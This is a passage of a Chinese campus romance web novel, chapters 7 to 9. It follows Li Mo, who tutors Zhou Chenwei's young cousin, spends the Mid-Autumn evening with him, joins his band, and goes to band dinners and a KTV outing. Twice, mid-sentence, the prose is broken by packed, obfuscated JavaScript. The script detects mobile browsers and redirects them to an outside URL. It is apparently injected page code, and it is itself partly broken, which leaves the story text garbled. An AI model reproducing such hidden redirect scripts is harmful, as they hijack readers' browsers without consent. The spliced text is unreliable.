或许是因为网络卡顿,又或许是天意,李茉耳机里的音乐忽然戛然而止,导致她清晰无比地听见了两人的对话。 “求求你了嘛,校庆晚会还缺个节目,我想让你带着乐队一起上,这次晚会特等奖有现金奖励。”郑玉芝晃了晃他的手臂。 “你约我出来就是为了说这个?”周辰纬挑眉看她,姿态懒散且漫不经心:“不是拒绝过你了么。” “我知道你不缺那点钱,但我不想放弃嘛,这是我当文艺部副部长之后第一次办晚会,”郑玉芝软声道:“你就为了我心软一下,好不好?” “帮不了哦。”他没半点松口的意思:“乐队目前还缺个吉他手,就算成型后也得磨合一段时间,那之前我们不会演出。” 郑玉芝想了一下,殷勤道:“要不要我帮你介绍一个——” “不用,”周辰纬语气懒洋洋的,姿态更是散漫:“我心里已经有人选了。” 不知道是不是李茉的错觉,周辰纬说这话的时候,似乎朝她的方向看了好几眼。 那边郑玉芝又和他纠缠了几句,都被四两拨千斤地挡了回去。最后是周辰纬的手机来了个电话,郑玉芝才一脸失望地走了。 郑玉中走后,李茉也不敢再逗留,正打算落荒而逃时,余光却瞥见周辰纬正朝她的方向走来。 “你都听到了?”他带着调侃的笑音传来。 李茉心头一震,下意识想要否认,她只是刚巧路过,不想被误会偷听。 周辰纬慢悠悠向她俯身,两人离得越来越近,四目相对,李茉甚至从他眼里看到了惊慌失措的自己。 她脸颊的温度一点点攀升,皮肤下毛细血管的血液加速流动,颜色一点点变得涨红。 李茉发挥出了这辈子最厉害的演技,假装茫然地看着他:“你说了什么?我......在听歌。” 周辰纬看着她,缓缓地笑了。他把李茉左耳的耳机拿掉,放进了自己的耳朵里。 “耳机里不是没声音吗,”他极具压迫感的视线紧紧盯着她,将她整个人钉在原地动弹不得,声音里带着一丝隐秘的兴味:“解释一下呗,妹妹?” 7. 月亮 李茉当然给不出解释,最后她只能留下一句“我只是路过”就匆匆离开了连廊。 这一年,中秋节假期和周末重叠,并没有额外补假。中秋节当天,学校食堂里给每位师生都发放了免费的月饼,李茉领到的是枣泥豆沙馅。 她用月饼充作晚饭,在路上吃完就来到了小男生家里。 小男生全名叫言一乐,随的是母姓。据言一乐说,他父母在他很小时候就离婚了,他一直跟着母亲生活。 几次家教课后,李茉和小男孩迅速混熟。这次上课,她打扮得很随意,随便穿了件浅灰色的针织衫,下搭一条天蓝色的牛仔裤。 言一乐一见她这身打扮,不由得啧啧两声:“老师,你这件上衣,我们班四十多岁的班主任也有一件,看见你我就想到了她。” 李茉抿唇笑了笑,上手捏了捏他肉嘟嘟的耳朵:“注意力集中一点,我听说昨天的小考,你又考砸了?今天我要考虑多发一套试卷给你做。” 言一乐吐了吐舌头,一副敢怒不敢言的模样。 两小时的家教工作很快结束,李茉正打算出门时,言一乐的妈妈拦住了她。 “小李老师,今天是中秋节,你留下来吃饭吧。家里客厅有一爿露台,吃完饭我们可以一起赏月。”言阿姨热情招呼道。 李茉婉拒道:“不用了,言阿姨,我......” 言阿姨直接用爽朗的笑容打断:“你不用不好意思,乐乐在你的教导下成绩进步这么多,这顿饭我早就想请你了。再说了,我做了一桌子菜,吃不完。” 话说到这份上,再拒绝就不礼貌了,李茉只好留了下来。 言阿姨很热情,不住地往李茉碗里夹菜,快堆成了一座小山。 李茉正往嘴里塞着她投喂的东西,忽地,门铃骤然响了起来,外面传来一道熟悉的男声:“小姨,在家吗?” “来了来了。”言阿姨高声应道。 “咔哒”一声,门被打开,李茉下意识朝着门外望去,却看见了提着大包小包的周辰纬。言阿姨见到他,脸上漾出笑意,忙不迭地把他引到餐桌边坐下。 “小纬,这就是小姨和你说过的,乐乐的家教老师。”言阿姨替两人介绍道:“小李老师,这是我外甥,他在S大计算机学院上大二,你们两个还是校友。” 李茉的眼神在言阿姨和周辰纬之间来来回回,默默消化着两人是姨甥这个事实。 周辰纬应该长得像他父亲,因为他和言一乐这对表兄弟五官没有一处相似的地方,和言阿姨也完全不像。 “嗯,我们认识。”周辰纬看着她,唇边勾起一个让人心痒的笑意。 李茉被他的笑容晃了晃眼,她忽然间很后悔,今天没打扮就出来。 饭后,周辰纬出门买东西,言阿姨去厨房切月饼,李茉帮忙收拾好了饭桌。 她还打算把碗筷一起刷了,结果被言阿姨直接赶出了厨房。 “小李,你是客人,这些不用你动手,”言阿姨摆着手说:“你去露台上等着,一会我们一起赏月。” 李茉只好依言去了露台。 她掏出手机,看见家族群里跳出来几条新消息,习惯性地点了进去。 十分钟前,母亲蒋惠娟在群里发了条视频。 视频里,父母和弟弟李耀楣围坐在桌前一起吃饭,氛围其乐融融,就连一向不苟言笑的父亲,脸上也罕见地露出了笑容。 舅舅看到视频,评价了句:【你们一家人真温馨。】 蒋惠娟回复得很快,几乎是秒回:【是呀,家人在身边就是最好的中秋节。】 没有人提起李茉,仿佛在这种合家团圆的场合,她是最可有可无的那个人。 尽管李茉早认清了这个事实,但在这万家团圆的节日,她心里还是有点堵,眼睛蒙上一层浅淡的水雾。 忽地,一道高瘦挺拔的影子覆了过来,与此同时,一道漫不经心的声音在身后响起:“你要吃水果吗?小姨刚切的。” 李茉匆匆整理好情绪,她闻言回头,看到了端着一个水果拼盘的周辰纬。 出于礼貌,她随手拿了一块李子。 言阿姨被水果贩子骗了,买来的李子是催熟的,表皮虽然红透了,果肉却很青涩。 李茉刚咬了一口就被酸得不行,小脸顿时皱了起来。 周辰纬看见她的表情,被逗得笑出了声。他从口袋里掏了颗糖递给他:“拿去吃,甜甜嘴。” 声线温柔缱绻,让李茉莫名生出了股温柔的错觉。 两人在阳台上待了没多久,言阿姨就带着言一乐走了过来。 言一乐手上端着月饼,言阿姨则带来了一个酒桶和几个酒杯,热情招待道:“这是我自酿的梅子酒,你们尝尝。” 李茉接过其中一杯,尝了一口。 她还是第一次喝这种果酒,这种酒没多少酒味,反而只有梅子的清新甘甜,口感绵柔。她忍不住多喝了几杯。 言阿姨也给周辰纬递了一杯,不过他没接,语气遗憾:“今天要开车,没这口福了。” 不得不说,言阿姨是个很会享受生活的人,她在露台上摆了一张桌子和几个座位,露台向外,可以朦朦胧胧地看见天上那轮圆满的月亮。 清晖柔和,众人吹着温凉的夜风,连手里的月饼都甜了不少。 言阿姨和周辰纬有一搭没一搭地聊着天,忽地,言阿姨抛出一个问题,笑盈盈地望向周辰纬: “小纬,在大学里谈女朋友了没有啊?” “没有。”周辰纬应得很快,撒起谎来面不改色心不跳。 反正他现在就是没有女朋友。 言阿姨眼睛一转,cue到了一旁安静坐着的李茉:“小李老师,你也没有男朋友吧?你看我这个侄子......” 她话还没说完,就被周辰纬打断:“小姨,别乱点鸳鸯谱了,小李老师该不好意思了。” 言阿姨白了他一眼。 李茉心里不由得涌上一阵失望,表面上却依然风平浪静。 也许是刚才那颗糖给了她错觉吧,她还以为周辰纬对自己多多少少是有点不同的。 这时,凉风浮动,拨云见月。 “快看,月亮出来了。”言阿姨有些兴奋地抬起头:“小李,我们这里的习俗是,中秋节对着月亮许个愿,愿望就一定能实现。” “你有愿望吗?”周辰纬懒散靠在座位上,好整以暇地问道。 “我......我应该没有特别了不得的心愿,”李茉想了想:“非说有的话,我想做一名很优秀的法援律师。” 言阿姨沉吟几秒,开口:“和非诉律师比起来,法援律师的收入微薄,甚至前期连温饱都解决不了,你怎么会想做法援律师?” “因为我对赚钱这件事并没有很大的执念。”李茉清泠泠的眼睛里透出一股和长相不符的倔强执拗:“世界上有很多弱势群体,我想帮助他们,让他们能通过法律武器维护自己的权益。” 言一乐吵着要睡觉了,言阿姨只好把他送回卧室,露台上最终只剩下了李茉和周辰纬两个人。 周辰纬掏出打火机,从烟盒里磕出一支烟,正要点,想起李茉还在旁边,他开口问了句:“介意我抽支烟吗?” 久等不到回答,周辰纬回头望去,只见李茉的眼神涣散,直愣愣地盯着前方,明显是喝醉了。 “忘了说了,我这梅子酒是60度的烈酒酿的,不喝酒的人尝不出来。”言阿姨无奈地笑了笑:“小李可能以为我给她喝的是饮料,就贪杯了。” “那我送她回去。”周辰纬看了她一眼,唇角下意识地勾了勾。 “其实在我们长辈的眼光来看呢,小李这个小姑娘是真的很不错,气质干干净净的,没那么多歪心思,长得还漂亮。”言阿姨叹道:“你俩站一起,跟金童玉女似的,看着都养眼。” “是吗?”周辰纬想起李茉那双水汽氤氲的眼睛:“算了,我们不是一路人。” 他知道自己有多浑,但李茉太干净也太美好了。他不想惹这样的女孩子哭。 李茉睁开眼的时候,正坐在一辆轿跑的副驾上。她从没喝过这么多酒,一醒来只觉得头痛欲裂。 “醒了?”一道好听的声音落在耳畔。 李茉循声望过去,看到了正在开车的周辰纬。车顶灯在他长睫下投出一片阴翳,平时看着总是不羁的眉眼,此刻也显得温柔。 他身上有很好闻的雪松气味,混杂一点点淡淡的烟草味道,凛冽又温暖。 莫名的,李茉心里产生了一种荒谬的错觉,好像他们是一对刚刚结束约会的小情侣,而他正在送她回校。 究竟要等到什么时候,他才能真正属于她呢。 “我睡了多久?”李茉问。她的嗓子有些哑了,酒精的作用让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351450|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她神思也有些恍惚。 她话音刚落,一只修长且骨节分明的手递过来一瓶水,周辰纬回道:“睡了得有半小时了吧,先喝点水吧,瓶盖帮你拧开了。” “有些调酒和果酒,喝着虽然像饮料,但酒精量很高,放倒你这样的女生,一杯就够了,”周辰纬漫不经心地朝她投来一瞥,声线有些冷:“就算是认识的人,也不要随便喝别人递过来的酒,知道了吗?” “好。”李茉下意识朝周辰纬那里看了一眼,又很快移开了目光。 周辰纬这样的人,看似浪荡不羁,实则细心又贴心,会关注到她眼里的渴望给她一个试琴的机会,会在饭后贴心地帮她打好车,也会在她醉酒后把她送回学校。 谁会不为这样的少年心动呢?那一刻,她对他的渴望与悸动,根本抑制不住。 - 宿舍楼里。 林白薇的室友正在阳台上打电话,看见一台熟悉的轿跑出现在视线里,她赶紧冲到室内,拉了拉林白薇的胳膊:“薇薇,你看那不是周辰纬的车吗?就停在我们宿舍楼下。” 林白薇闻言,连衣服都来不及换,蹬上拖鞋就跑到阳台往下看。 她还以为周辰纬终于回心转意了,正酝酿着一会接他电话的神态语气。 但车门打开后,周辰纬走了出来,并没给她打电话,而是走到另一侧,拉开了副驾的车门。 看见副驾上走下来的人,林白薇只觉得呼吸都开始不畅起来。 李茉是什么时候和周辰纬搞在一起的? S大的宿舍楼下种了一排桂花树,风一吹,空气里都是甜腻腻的桂花香。 忽地,周辰纬抬起手,李茉只感觉自己的发丝被人拂过,须臾后,一片桂花出现在他的指尖。 “帮你拿掉了。”周辰纬漆黑深邃的眼眸盯着她。 李茉只觉得头皮发麻,刚才被他触碰的发丝像过电流一般,登时就传遍了全身。 再在他面前待下去,她真怕自己忍不住说错什么话。 她正想开口道别,周辰纬的声音又传入耳中:“对了,乐队的事情,你有考虑好吗?” 李茉心里一慌:“我......” 周辰纬一看她有些迷惘的表情就知道她恐怕已经忘记了这回事,手指翻飞着给手机解了锁,把二维码递了过来。 “那你加我个微信吧,等你考虑好了,微信告诉我。” 李茉下意识地掏出手机准备扫码,可她的老款智能机耗电太快,刚打开微信,就因为低电量自动关机了。 “那你回去再加我,我的手机号也是微信号。”周辰纬飞速报了一串数字。 李茉回到宿舍的时候,头都还是晕陶陶的。 她手脚有些发麻的感觉,整个身体都像变成了一块棉花糖,轻飘飘又晕乎乎。 给手机充上电后,她马上登了微信,搜索了那串被她牢记于心的数字。 周辰纬的ID很简单,是单一的大写字母X,头像是一个在冰岛看极光的背影。 李茉深呼吸了几口,等心情差不多平复,才向他发送了好友申请。 李茉盯着手机看了几分钟,都没有等到周辰纬的消息。她不想陷于这种甜蜜焦急的折磨中,索性去了淋浴间洗澡。 洗好澡后,手机震动了一下,她连头发都来不及吹,赶忙点开—— 映入眼帘的是一条好友请求通过的系统消息,两人成为好友的前几分钟里,谁都没有说话。 李茉不太擅长应付这种尴尬的沉默,她飞速在对话框里敲了几个字,点了发送: 【周辰纬,我是李茉。乐队的事,我想好了。】 【我愿意加入。】 【好。明晚乐队有聚餐,你有时间记得来。】周辰纬几乎是秒回了一条消息。 李茉正在心里斟酌着回复的措辞,忽地,周辰纬给她发了一张图片,后面还跟了一句话。 【你喝醉的时候,我在露台上拍的月亮。】 他这张图片拍得很好看,天空是介乎蓝与黑之间的独特色调,静谧深邃。一轮明月被夜空和其间闪烁的星星烘托着,光洁又柔和。 是她和他一起看的月亮。 李茉看着手机屏幕上的那轮明月,愣了一瞬,又飞速按了保存,把这张照片设成了手机屏保。 强烈的欢喜像一波猝不及防的海浪,就快要将她淹没了。 8. 聚餐 当晚,不知道是不是神经过于兴奋的原因,李茉并没有睡好。 她只睡了四个小时就醒来去上早八,所以这一上午的课都上得浑浑噩噩。 吃完午饭后,李茉一脸倦意地去贩售机买了杯咖啡。 深烘的黑咖啡很苦,她正坐在教室里,小口小口喝着,手机忽地连续震动了几下。 原来周辰纬把她拉进了乐队的群聊,大家正在群里讨论去哪里聚餐。 乐队的人都是学生,平时的消费水平也仅限于学校周边的几个小馆子。但众口难调,几人一直讨论不出结果。 费开阳也在群聊里,见状直接发话:【大胆一点,我们去吃湘悦楼怎么样?反正全场消费都由周公子买单。】 湘悦楼是北禾的一家有名的私房菜馆,人均消费要好几百,对他们这些学生来说算是天价了。 李茉其实不怎么想占这个便宜,她咬着唇在屏幕上敲了几个字,还没来得及发出去,周辰纬就在群里发了条语音。 她戴上耳机,点开。 【可以啊。】周辰纬说。 这声音低冷磁沉,像一片羽毛在心口挠了挠,激起一阵绵软的痒。短短一秒的语音,李茉在耳机里,做贼心虚地听了一遍又一遍。 【好了,那别讨论了,就湘悦楼了,地址我发你们。】费开阳在群里撂了个地址。 聚餐的时间定在了晚上七点,下午最后一节课四点半结束,时间还算充裕,李茉就先回了趟宿舍。 回到宿舍后,她坐在自己的小桌子前,手里握着那罐周辰纬送她的水果糖。 最近一段时间,这个玻璃罐她时刻带在身上,里面的糖果已经消失了一半。剩下的那一半,她忽然舍不得吃了。 小贝洗好澡,刚好从她身边经过,看见她面前那熟悉的玻璃罐,问道:“诶,茉茉,你也喜欢这个牌子的水果糖吗?” 李茉勾起唇角:“从前不喜欢,但曾经有个人对我说,心情不好的时候就吃颗糖,我就记在心里了。” “那个人一定对你很重要吧。”小贝兴奋地凑近她耳边问:“是你喜欢的人吗?” “没有。”李茉眨了眨眼,否认得很快。 自尊心作祟,喜欢周辰纬这件事,她不想让任何人知道。 和小贝闹了会儿,时针指向了晚上六点,李茉换好衣服,匆匆出了门。 她身上穿的衬衫是两年前买的,这两年她长高了几厘米,被风一吹才后知后觉地发现,衬衫有些短了,穿在身上会露出一截腰线。 虽然天气还很热,大街上穿着露脐装的大有人在,李茉还是有些不自在地拉了拉下摆。 湘悦楼的位置很隐蔽,开在一条隐秘清幽的巷子里,是导航找不到的地方。 李茉一路上连着问了几个人,才找到正确位置。 她推门进入包间的时候,其他人都已经入座了,整张圆桌只剩下了一个空座位,就在周辰纬的左侧。 李茉和费开阳简单打了个招呼后就朝着空座位走了过去,她的角度能看见周辰纬削薄的脊背。 他坐得并不板正,反而有股懒散的劲儿。 这场饭局郑玉芝不知道为什么也在,她就坐在空座位的左侧,正一只手撑在这个空座位上和他搭话,半个身子都探了过去。 这时,桌上的另一位短发女生看见李茉,抬手拍了拍郑玉芝的肩膀,声音冷淡且透着不耐烦:“你让一下,后面来人了。” 李茉和短发女生快速打了个照面,一股熟悉感在脑海里倏然而过。 她总觉得在哪里见过这位短发女生。 但没来得及细想,费开阳见人到齐,用筷子敲了敲面前的空碗,试图吸引众人注意:“各位,今晚是我们乐队的聚餐,为了防止大家互相不熟悉,咱们按顺时针的顺序依次做个自我介绍?” 得到众人肯定的答复后,费开阳把目光移向李茉:“那就从李茉学妹开始吧。” 李茉冷不防被突然cue到,还未开口就有些紧张。 她看似随和好相处,其实打心底里害怕这种全场目光聚焦的感觉,在人多的地方总有些不自在。 她硬着头皮飞快介绍了一遍自己的姓名、学院、家乡,就停止了发言。 好在,没有人介怀她的拘谨,众人给出的都是善意的反馈,让她内心好受了一些。 周辰纬的座位正对着空调出风口,凉风也不可避免地吹到了李茉身上。 空调温度开得低,裸露在外的皮肤被吹得很凉,凉意蔓延到全身,李茉不由得打了个冷颤。 这时,一件浅灰色的外套被塞到她怀里。李茉认识这件衣服,之前周辰纬穿过几次,可以肯定是他的衣服。 “省得着凉。”他的目光在她那截腰线上一晃而过。 李茉摸了摸那件外套,上面还带着他的体温,混杂着雪松气味和凛冽的烟草味道。 她抿着唇笑了一下,轻声说了句谢谢,就把外套系到了腰上。 饭桌上的其他人陆陆续续开始自我介绍。李茉安静地听了一圈,默默记住了众人的名字。 乐队主唱叫向珏,是个矮矮胖胖的男生,费开阳是这支乐队的鼓手,兼任着队长的角色。短发女生的名字叫陈尚恩,是他们这支新乐队的贝斯手。 至于郑玉芝,她是求了费开阳许久,才成了乐队的经理人。 他们这支乐队的成员全都来自S大,其中陈尚恩最特殊,她和李茉一样都是法学院的。 陈尚恩比李茉大一届,算是直系学姐。 中途,周辰纬放在桌边的手机响了,看见屏幕上的来电号码,他面无表情,和众人说了声就拿着手机出了门。 菜上齐了之后,服务员又上了两打啤酒和一瓶白酒。费开阳开了瓶啤的,作势要给旁边的陈尚恩满上:“既然是聚餐,不喝酒总觉得没气氛。恩姐,来一点?” “不了,刚吃了头孢。”陈尚恩反应冷淡,说话带了点后鼻音,的确是感冒的症状。 费开阳又问了一圈,但其他人全都滴酒不沾,本着不浪费的原则,他只好自饮自酌起来。 费开阳探头过来:“你在看什么?” “谢明河的演出视频,”郑玉芝扬了扬手机:“谢明河你们知道吧?他现在火得一塌糊涂,我们宿舍四个人,有三个都是他粉丝。” 她兀自说得起劲,没注意到,一听到这个名字,陈尚恩的脸色变了变,费开阳也是一副欲言又止的表情。 在场很少有人不认识谢明河。这人天生一副阴柔俊美的好皮相,是知名经纪公司AE娱乐力捧的新人偶像,一出道就引来了不少人的爱慕与迷恋。 他独立创作的单曲《少女的献祭》一经发布,就登上了各大音乐平台的top。而他本人也一跃成为了当下最炙手可热的偶像歌手,名利双收。 但很少有人知道,谢明河曾经是地下乐队fearX的主唱兼主音吉他手。 当年fear ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351451|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' X突然宣布解散后,在粉丝群里引发了一阵激烈的讨论,李茉当时刚好也在群里,目睹了全过程。 有个自称是知情人的空白头像用户跳了出来,信誓旦旦地说道,谢明河是因为私自签约了AE娱乐,才和乐队的其他成员割席。 在空白头像的嘴里,谢明河似乎成了一个背信弃义、为了名利就能放弃挚友的小人。 一开始,绝大多数粉丝都是不信的,可谢明河脱离乐队之后,没多久就以AE娱乐力推新人的身份单飞出道,似乎也侧面印证了空白头像说的话。 白酒掺着啤酒,费开阳很快就喝醉了,他喝得脸红脖子粗,口齿不清地讲起了高中时的旧事: “你偶像谢明河高中是我们学校的,他从前和周少关系很好。” “真的吗?”郑玉芝眼睛亮了亮。 “真的,上高中那会他俩每天都形影不离,要不是各自都交过女朋友,差点被人怀疑取向,”费开阳咧嘴笑了:“他们都是在听溪巷长大的,又考进了同一所高中,两人还一起组过乐队。” “不可能吧,周辰纬家里不是很有钱吗?怎么会是在听溪巷长大的?”郑玉芝抓住了哗点。 北禾本地人都知道,听溪巷这一片都是老旧的低矮平房,墙体上密密麻麻贴满了小广告,污水横流,交错纵横的天线分割了整片天空。 这里环境虽差,由于房租便宜,不少三教九流的人都在这里混迹。 “这你就不知道了吧,”费开阳又往嘴里送了口酒:“周少他爸十几年前因为非、法集资进去过,在他初中毕业那年才放出来。但他爸很有头脑,又抓住了时代的机遇,生意才越做越大。” 费开阳说到最后舌头都开始打结,好在服务员及时上了一份海鲜砂锅粥。费开阳虽然醉了,意识还清醒:“我们没点这个粥吧。” “是我点的,”一道带着鼻音、有些沙哑的嗓音响起,陈尚恩看着他说:“你今晚喝太多了,我给你点了粥,能醒酒。” “恩姐,你人真好。”费开阳冲她抱了抱拳。 陈尚恩没接话,只是笑了笑,不知道为什么,李茉竟从她的笑容里品出了几分苦涩的意味来。 她还没来得及细想,周辰纬打完电话回来,指间夹着猩红一点。他看起来心情很不好,整个人像是被一整层的冰霜笼罩住,透着股生人勿近的意味。 入座前,考虑到桌上的几位女生,他还是在包厢的烟灰缸里掐灭了烟。 费开阳已经喝得烂醉,没注意到周辰纬的脸色,手还自然地搭上他的肩,嘻嘻哈哈:“这是和哪个妹子打电话去了?怎么聊了那么久?” “周诚打来的,让我明天跟他去扫墓。”周辰纬的声音没什么起伏:“明天是我妈的忌日。” 全场氛围静肃了几秒,众人面面相觑,也许是他身上气压太低,没人开口说话。 周辰纬解释完毕就拿起手机玩起了游戏,修长冷白的手指在屏幕上翻飞,他不怎么喜欢打游戏,不过心情不好的时候他总喜欢用游戏消磨时间。 一局游戏结束,周辰纬习惯性地转了转颈部,恰好与此刻抬头看向他的李茉对上目光。 小姑娘有一双清泠泠的眼睛,浑然天成的水光潋滟,圆圆的眼型天然就带着几分无辜。 两人的视线交汇那瞬,周辰纬清楚地看到,她像是下定某种决心般,从衬衣口袋里掏出两颗水果糖,递到他面前,问道: “周辰纬,你要不要吃糖?” 9. 光芒 吃过饭后,费开阳提议再去附近的KTV进行下一场,没有人反对。 马上就要迎来黄金周假期,众人的心已经野了,多浪几场也无所谓。 费开阳大手一挥,定了个大包厢,又叫了几个大二大三的学长学姐,说是人多热闹。 一下子多了好几个生面孔,李茉有些不自在,她开了瓶水,小口小口喝着,余光都在看着一旁的周辰纬。 周辰纬坐的位置是沙发的边缘,离包厢的彩灯最远,他穿着黑衫长裤,隐于黑暗处,在一片晦暗不明中,冷白的皮肤似有光泽流动。 持酒瓶的那双手指节瘦长,小臂青筋凸起,看起来就像个禁欲的斯文败类。 几首歌放完后,熟悉的前奏响起,费开阳拿起麦克风,他正准备大展身手时,才发现自己点的这首歌有粤语普通话双版本,他点的这首是粤语版本。 费开阳不会说粤语,正有些骑虎难下时,他忽然想起了什么,抬眼把目光投向了沙发上的周辰纬。 周辰纬懒散靠在沙发椅背上,抬手往嘴里送了一块蜜瓜。费开阳脸皮厚,想也不想地直接喊道:“爸爸,快来救救我,粤语歌我不会唱啊。” “你自己选的歌,不会唱就推给别人,不害臊啊?别人也不会怎么办?”郑玉芝和费开阳关系不错,闻言呛了他两句。 费开阳呵呵一笑:“这你不懂了吧,周少高中时去香港那边交流过一年,他粤语讲得很好,说得跟母语一样。” 毕竟是江湖救急,周辰纬并没拒绝。他笑了笑就接过话筒,坐上了高脚凳。 包厢的彩色灯光打在他英挺面容上,衬得眉目更加立体,是即使只能远远看着,心脏也会被陡然击中的那种帅气。 他声线没什么得天独厚的优势,也没什么高超的歌唱技巧,但全场女生的目光还是不自觉地就定在他身上。 其中表现最明显的是个大三的学姐,她打扮成熟,气质和在场的低年级学生有明显区别,穿着凸显身材的包臀裙,长睫浓密。 那学姐酒量似乎很不错,和几个男生比赛对瓶吹也不落下风。喝得多了她脸颊渐渐染上酡红,经过周辰纬身边时,她似乎踉跄了一下,身子一歪就要栽倒在他身上。 “小心点。”一只冷白劲瘦的手扶住了她的胳膊。 那位学姐眼睛直勾勾地盯着周辰纬,顺势在他身边坐下:“嗨,又见面了。” “我们之前见过?”他挑挑眉,完全是疑问的语气。 “去年我在元恒资本实习,你们的项目是我们组负责的。”学姐解释道。 周辰纬不置可否地嗯了声。 去年他和几个朋友一起做了个游戏,上线后反响不错,被元恒看中,卖掉的钱足够让他舒舒服服地过完大学生活。 虽然周诚给了他一张不限额的黑卡,每月还会打来一笔很大的生活费,不过周辰纬自成年后就很少花他的钱。 学姐又讲了几件实习的趣事,周辰纬配合地笑着,无波无澜的眼里泛起星点涟漪。 他大剌剌地斜倚着沙发靠背,两条长腿交叠着,在包厢的暗色灯光下,莫名显得禁欲又勾人。 那学姐看得意动,忍不住靠得更近了些。从旁人的角度看,她的唇瓣就要贴到他耳朵上。 看到眼前这暧昧的一幕,郑玉芝眼眶眼眶渐渐红了。 “借过,我要出去一下。”郑玉芝找了个借口,匆匆跑出了房间。 李茉看着她离开的身影,心里百转千回。 喜欢上这样的人,注定是一种痛苦。即使一颗心在沙砾中滚来滚去,也要不辞辛苦地探求和他有个好结局。 李茉从没把郑玉芝当过情敌,她们都是为情所困的可怜人,注定同病相怜。 李茉还沉浸在思绪里,忽地,身边的陈尚恩碰了碰她的手肘:“你想去卫生间吗?” “你要去的话,我陪你。”李茉站起身。 走到女厕前,见陈尚恩没有要进去的意思,李茉问道:“你不去上吗?” “没想上,包厢里面太闷了,单纯想出来抽支烟。”陈尚恩随口解释道,声线里的鼻音很浓。 陈尚恩从烟盒里磕出一根烟,手拢着火点燃,正打算吸一口时,一只纤白的素手劈手夺过了她的烟。 李茉拧开了洗手台的水龙头,把还在燃烧的烟头放在了水龙头下面,随着“嘶”的一声响起,烟头被冷水浇熄,有白色的烟雾飘了出来。 “你感冒了,最好别吸烟,对身体不好。”李茉一脸认真地劝道,顺手把那支熄灭的烟扔进了垃圾桶。 “......你管得还挺宽。”陈尚恩小声嘀咕了句,神情却很轻松,半点没有被冒犯的不满。她瞥了身边的李茉一眼,忽地开口:“你今晚偷看了我很多次啊。” “没有,我只是觉得你很眼熟,好像在哪里见过你。”李茉有些不好意思地说道。 “见过我?”陈尚恩挑了挑眉,眼里罕见地露出了丝笑意:“如果你听说过fearX,那就应该见过我,我是fearX的贝斯手。” 李茉看过许多fearX的演出视频,除了周辰纬之外,那个一头短发、戴着金属项链的女贝斯手给她的印象很深。 陈尚恩在舞台上又飒又野性迷人,李茉几乎是第一眼就喜欢上了她。 她演出时一般都化着很浓的妆,今天却是素颜,所以刚才李茉没把她认出来。 曾经的偶像变成了自己的学姐,李茉不由得在心里感慨缘分的奇妙。 两人走回包厢门口时,聚餐刚好结束,一行人从里面走了出来,被众星捧月般围在中间的,依然是周辰纬。 他一看就喝了不少酒,眼眶微微发红,可步子依然走得很稳,看不出半分醉意。 几人去了服务台打算买单,前台的小姐姐抬手指了指周辰纬,抿唇笑了笑:“这位帅哥刚才已经付好了。” 由于周辰纬刚刚请一群人吃了饭,众人不好意思再让他请客,就撺掇着他在群里发个群收款。 周辰纬既然已经付了款,就没有再找人A钱的道理。他不发群收款,但耐不住有人为了和他搭上两句话,私底下A钱给他。 也就半分钟的功夫,他的手机就响了七八次。周辰纬拿出手机看了两眼,眉宇间隐隐透着不耐。 他左手指间衔了支烟,右手点着屏幕,把那几个女生的转账一一点了退还。 几个暗恋他的女生觑着他的神色,知道他有点不高兴了,没人敢再做这样的试探。 李茉跟在大部队后面,对前面发生的事一无所知。刚好言阿姨给她转来了几节课的家教钱,她想了一下,把上次那顿粤菜的饭钱转了过去。 停了几秒,手机蓦地震动了一下,她点开。 周辰纬给她发了一条消息。 ZCW:【?】 李茉不知道这个问号是什么意思,在对话框里敲了一行字,又飞快删掉。 删删改改的时间里,她不知不觉地离前面那帮人越来越远。 走出KTV大门时,一阵晚风刮了过来,把一股熟悉的雪松气味送到鼻端。李茉猛地一抬头,果然看到了正站在她身边的周辰纬。 周辰纬单手抄着兜站在她面前,慢悠悠发问:“你给我转账,是和我A那顿饭的钱?” 两人从没离得这么近过,近到李茉甚至能感受到他炙热的体温。 李茉这才发现,周辰纬比她高了整整一个头,只要他愿意低低头,他的下巴就能碰到她柔软的发顶。 他身上雪松混着烟草的味道一阵阵飘来,李茉好像陷进了他身上的气息围成的囚笼里,她紧张得说不出话来,只好点了两下头。 “嗯,知道了,”周辰纬像是被她的反应逗笑,唇角勾起一抹若有似无的弧度。他居高临下地看着她,轻飘飘丢了句话:“可是,我没有让女生买单的习惯诶—— 那点钱,就当以后被我压榨的报酬吧。” - 假期结束后,北禾又下了几场雨,绵延不绝的暑热被冲淡了不少。 费开阳又组织了几次聚餐,插科打诨间,乐队的几个成员渐渐熟悉了起来。 整个十月,乐队成员一有空就会去学校的音乐室排练,次数多了,几人配合得越发默契。 周五晚上,排练结束后,乐队几人在费开阳的提议下组了个夜宵局,地点在离学校不远的一条美食街里。 这一次陈尚恩感冒好了,又有周辰纬陪着喝酒,费开阳可算喝了个尽兴。 他给李茉面前的透明塑料杯里倒了满满一杯啤酒,李茉被桌上的烤鱼辣到,情急之下端起了那杯啤酒喝了一大口。 对她这种不喝酒的人来说,啤酒入口后又涩又苦,不仅没能解辣,反而让她在双重刺激下剧烈咳嗽起来。 “费开阳,你什么时候把茉茉的水换成啤酒的?我不是对你说了她不能喝酒吗?”陈尚恩拍了一下桌子。 费开阳赶忙讨饶,“......我不是故意的呀,刚才顺手就倒上了。” 